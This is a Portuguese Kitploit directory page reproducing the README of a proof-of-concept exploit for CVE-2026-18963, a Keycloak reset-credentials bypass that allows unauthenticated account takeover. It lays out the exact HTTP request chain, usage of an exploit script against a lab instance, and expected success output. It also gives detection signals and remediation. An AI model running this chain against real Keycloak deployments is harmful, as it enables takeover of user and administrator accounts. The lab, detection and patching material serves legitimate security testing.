Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-18963-keycloak — Exploit de prova de conceito para CVE-2026-18963, um bypass crítico de redefinição de credenciais no Keycloak que possibilita a tomada de conta não autenticada. Inclui configuração de laboratório, orientações de detecção e etapas de remediação para testes autorizados. | Kitploit
Ferramentas/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAutenticaçãoAprendizado e Educação
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Exploit de prova de conceito para CVE-2026-18963, um bypass crítico de redefinição de credenciais no Keycloak que possibilita a tomada de conta não autenticada. Inclui configuração de laboratório, orientações de detecção e etapas de remediação para testes autorizados.

Ver Repositório
3há 18h 24mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-18963 — Bypass de Reset-Credentials do Keycloak → Tomada de Conta

Tomada de conta não autenticada no fluxo de reset-credentials do Keycloak. Um atacante que conheça apenas um nome de usuário/e-mail pode redefinir a senha de qualquer usuário — incluindo administradores — sem nunca receber o e-mail de verificação.

CVE CVSS CWE License


⚠️ Aviso de isenção — Somente uso ético

Esta prova de conceito é publicada estritamente para fins educacionais, pesquisa defensiva, engenharia de detecção e testes de segurança autorizados.

  • Use-a apenas contra sistemas que você possui ou para os quais tenha autorização explícita por escrito para testar. Acessar ou modificar sistemas sem permissão é e antiético.
ilegal
  • Este é um recurso defensivo/educacional criado para ajudar equipes a entender, detectar e corrigir a CVE-2026-18963 — não para atacar terceiros.
  • O autor (red-darkin) NÃO assume nenhuma responsabilidade ou obrigação por qualquer uso indevido, dano ou atividade ilegal realizada com este código. Você é o único responsável pela forma como o utiliza e por cumprir todas as leis aplicáveis.
  • Ao baixar ou usar este repositório, você aceita estes termos. Se não concordar, não o utilize.
  • Consulte DISCLAIMER.md para a declaração completa.


    Resumo

    CVECVE-2026-18963
    GravidadeCrítica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    FraquezaCWE-640 — Mecanismo Fraco de Recuperação de Senha
    AfetadosKeycloak < 26.7.2 (upstream). Também os streams de build da RH corrigidos via pacotes 26.6.6 / 26.4.15
    Corrigido emKeycloak 26.7.2 (PR #51844)
    Pré-requisitosEsqueci minha senha (redefinição de credenciais) habilitado no realm — o padrão
    ImpactoTomada total de conta de qualquer usuário (incluindo administradores do realm) → comprometimento do IdP + acesso SSO lateral

    Como funciona — duas falhas encadeadas

    O fluxo de redefinição de senha (reset-credentials) normalmente obriga você a clicar em um link enviado por e-mail ao proprietário da conta antes de definir uma nova senha. Duas falhas permitem que um atacante ignore essa verificação por completo:

    1. Estado "Tentar Outra Maneira" sem escopo — o manipulador do seletor de autenticadores armazena a nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sem escopo para o ID de execução. Reentrar no fluxo deixa a sessão de autenticação em um estado confuso/obsoleto.
    2. Verificação de token ausente na etapa de e-mail — ResetCredentialEmail.action() chama context.success() sem verificar ACTION_TOKEN_USER_ID (ou seja, sem confirmar que o token de ação enviado por e-mail foi de fato consumido).

    O encadeamento delas avança a sessão de autenticação direto para a etapa UPDATE_PASSWORD para um usuário arbitrário, sem necessidade de e-mail.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
    GET  /login-actions/reset-credentials …              ── choose-user form
    POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
    POST …reset-credentials      username=<victim>       ── select user via selector
    GET  …/restart …                                     ── refresh session state
    GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
    POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER
    

    Consulte docs/ROOTCAUSE.md para o diff do patch anotado.


    Início rápido (laboratório)

    Você precisa de Docker e Python 3 com requests.

    root@kitploit:~
    # 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
    ./run_lab.sh                 # uses keycloak/keycloak:26.5.0
    
    # 2) Run the exploit against the demo 'victim' user
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    Saída final esperada:

    root@kitploit:~
    [7] *** update-password form served WITHOUT token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
    

    Em seguida, faça login como victim / Pwned-2026! para confirmar a tomada de conta.

    Controle negativo (corrigido)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # stops early — the update-password form is never served
    

    Uso

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       Keycloak base URL, e.g. http://127.0.0.1:8080
      --realm      target realm (default: master)
      --client     public client without PKCE (default: account)
      --victim     victim username or email
      --new-pass   password to set
      --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
      -k           skip TLS verification
    

    Cada resposta HTTP é gravada em ./dump/ para inspeção.


    Proxy via Burp

    O Keycloak já usa 8080, então aponte o listener do Burp para outra porta (ex.: 8081):

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    A cadeia de requisições bruta para o Burp Repeater está em requests/burp-chain.txt.


    Detecção

    Procure por uma alteração de senha que não foi precedida por verificação de e-mail na mesma sessão de autenticação:

    • Um evento UPDATE_PASSWORD sem um VERIFY_EMAIL / EXECUTE_ACTION_TOKEN anterior para essa sessão.
    • Rajadas de requisições reset-credentials contendo tryAnotherWay=on.
    • Múltiplas reentradas em login-actions/reset-credentials para o mesmo tab_id.

    Remediação

    • Atualize para o Keycloak 26.7.2 (ou para o stream de build corrigido da RH) — prioridade máxima.
    • Mitigação temporária: Configurações do Realm → Login → Esqueci minha senha = Desativado.
    • Após o patch: rotacione as credenciais de administrador, force um novo login após redefinições e alerte sobre os sinais de detecção acima.

    Referências

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • PR de correção #51844 — https://github.com/keycloak/keycloak/pull/51844
    • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    Demonstração

    Uma execução completa está gravada em CVE-2026-18963.mp4 (na raiz do repositório).

    Créditos

    • red-darkin — reprodução em laboratório, PoC e write-up.
    • Claude (Anthropic) — assistência em pesquisa e desenvolvimento do PoC.

    Cadeia corroborada com o patch público do Keycloak (PR #51844) e write-ups da comunidade.

    Licença

    MIT © red-darkin — somente para uso educacional e testes autorizados.

    Baixar ferramenta